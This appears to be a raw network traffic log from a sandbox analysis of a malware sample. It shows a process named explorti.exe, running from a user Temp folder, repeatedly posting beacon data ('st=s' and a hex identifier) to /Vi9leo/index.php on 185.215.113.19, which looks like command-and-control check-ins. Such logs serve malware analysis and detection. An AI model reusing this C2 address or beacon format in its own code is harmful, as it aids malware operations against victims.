Jul 26, 2024 20:57:23.145682096 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:23.146363020 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:23.392704010 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49754	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:23.502688885 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:24.261826038 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:24.262581110 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:24.510602951 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49755	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:24.625963926 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:25.383291960 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:25.384377956 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:25.643799067 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49756	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:25.773972034 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:26.563147068 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:26.564135075 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:26.812366962 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49757	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:27.133981943 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:27.894509077 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:27.895405054 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:28.145915985 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49758	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:28.269089937 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:29.010404110 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:29.011056900 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:29.257996082 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49759	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:29.375608921 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:30.133560896 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:30.136085033 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:30.398397923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49760	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:30.517441034 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:31.298367023 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:31.299105883 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:31.552133083 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49761	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:31.672142982 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:32.427648067 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:32.428349972 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:32.685292006 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49762	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:32.796787024 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:33.541835070 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:33.542690992 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:33.794807911 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49763	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:33.907682896 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:34.685813904 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:34.686503887 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:34.942203999 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49764	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:35.063901901 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:35.814773083 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:35.815455914 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:36.064908981 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49765	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:36.184197903 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:36.982029915 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:36.983530045 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:37.231925011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

